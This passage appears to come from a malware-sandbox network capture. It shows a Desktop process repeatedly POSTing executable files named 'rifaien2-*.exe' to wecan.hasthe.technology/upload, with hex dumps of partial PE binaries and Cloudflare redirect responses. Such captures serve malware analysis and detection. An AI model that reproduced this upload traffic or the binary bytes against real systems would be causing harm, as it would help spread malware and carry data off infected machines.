Oct 10, 2024 21:02:25.449752092 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:25.449779034 CEST	2472	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:02:25.449804068 CEST	2472	OUT	Data Raw: 83 0a 01 51 84 2c 5c 8b 03 83 3c 30 00 75 8c bf 29 e0 52 89 f3 a5 08 50 50 6a 00 8b 02 11 18 0e a2 9e 55 08 8b c0 16 12 3b f7 3f 4f 83 eb 04 83 ff ff 75 d7 37 5a ff 33 c6 30 cb c5 60 3a 4f 7c 26 8a ff 60 16 eb 1d 47 3b 7d 0c 0f 8c 2c c5 b8 09 13 Data Ascii: Q,\<0u)RPPjU;?Ou7Z30`:O\|&`G;},@-J.}}KtEAta*jD+}V<u0^5MIQ1!Uti~}hukuVEQBP]PPPh#jR< Ht;Er=jvhG
Oct 10, 2024 21:02:25.745024920 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:25 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:25 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iiuo3DMRBaBhgL6TDdtj5iNHijTv6faCJ2%2B9k1g5lgd%2BbhaIYFJeEdm6rZY%2Fb8wOuBMtUwfaYTDfiHOO5F9CzbnFR3j5AxzTndUCh8vbVVKKzjyFfzMbj%2FLxqQElTh0rzfPVNK8ID4c%2BHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd58c994c340-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50441	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:25.892456055 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------5ab0a0a9fdf3feb7
Oct 10, 2024 21:02:26.339474916 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:26.340579033 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 61 62 30 61 30 61 39 66 64 66 33 66 65 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------5ab0a0a9fdf3feb7Content-Disposition: form-data; name="file[]"; filename="rifaien2-EJnWcEY70jNTCKDa.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:26.340670109 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:26.345659018 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:26.345678091 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:26.345709085 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:26.345735073 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:26.345782042 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:26.345812082 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:26.345837116 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:26.345904112 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:26.650908947 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:26 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:26 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9nQR8LCy8xm5wfYVzebmCGOdmX2DYIr%2F1ePrAh7DQPVWAxkdw0z33AJgasBMQOO6J%2B8J8mjoFVPZclUmCAFvXYkS7%2BOqtvXTh%2Fv9i7Mi2T%2Fq3mjtI5Sa5g1tyw0KR2VdEOLXASVcvmGftQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd5e79c642ce-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50447	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:26.860656023 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------28ae5d406d29d5dd
Oct 10, 2024 21:02:27.305277109 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:27.306684971 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 38 61 65 35 64 34 30 36 64 32 39 64 35 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------28ae5d406d29d5ddContent-Disposition: form-data; name="file[]"; filename="rifaien2-kCfzpzzrLEJySBVF.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:27.306797028 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:27.312143087 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:27.312143087 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:27.312242985 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:27.312315941 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:27.312357903 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:27.312395096 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:27.312421083 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:27.317759991 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:27.614746094 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:27 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:27 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TSj4vHrLY127Kr%2BFuy%2FMgpEu0CjZPsQRS0Hmv6mpwJ8HNq6EM0yi%2F0qVctKMTWCP4JljVuDj0jkPHpGCqzj%2BzVwPmuznUt7sj5UAqCTFS7AXnKNbhr94mFQkL7NHulm0OZtUrkSGVgfzzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd647a1f0cb1-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50453	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:27.746679068 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------71dc45c1864fe54a
Oct 10, 2024 21:02:28.200489044 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:28.201226950 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 31 64 63 34 35 63 31 38 36 34 66 65 35 34 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------71dc45c1864fe54aContent-Disposition: form-data; name="file[]"; filename="rifaien2-mZiov3C61rXFF0QW.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:28.201423883 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:28.206455946 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:28.206500053 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:28.206615925 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:28.206684113 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:28.206717968 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:28.206743956 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:28.206768990 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:28.206829071 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:28.522022009 CEST	809	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:28 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:28 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kzt3vhOurwe89OPXPJuvMpv4gfSSCXE6atR6EpWtws7uCq5wSmm6An5Hd2%2BC0SkgJStURgyZH0pqnvMkYv9CTHAYmoZcqPKJx5urGCETnITJimyn7sOGGALPO7v0Xbz043ECGDTjMW9PrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd6a1a05424f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved 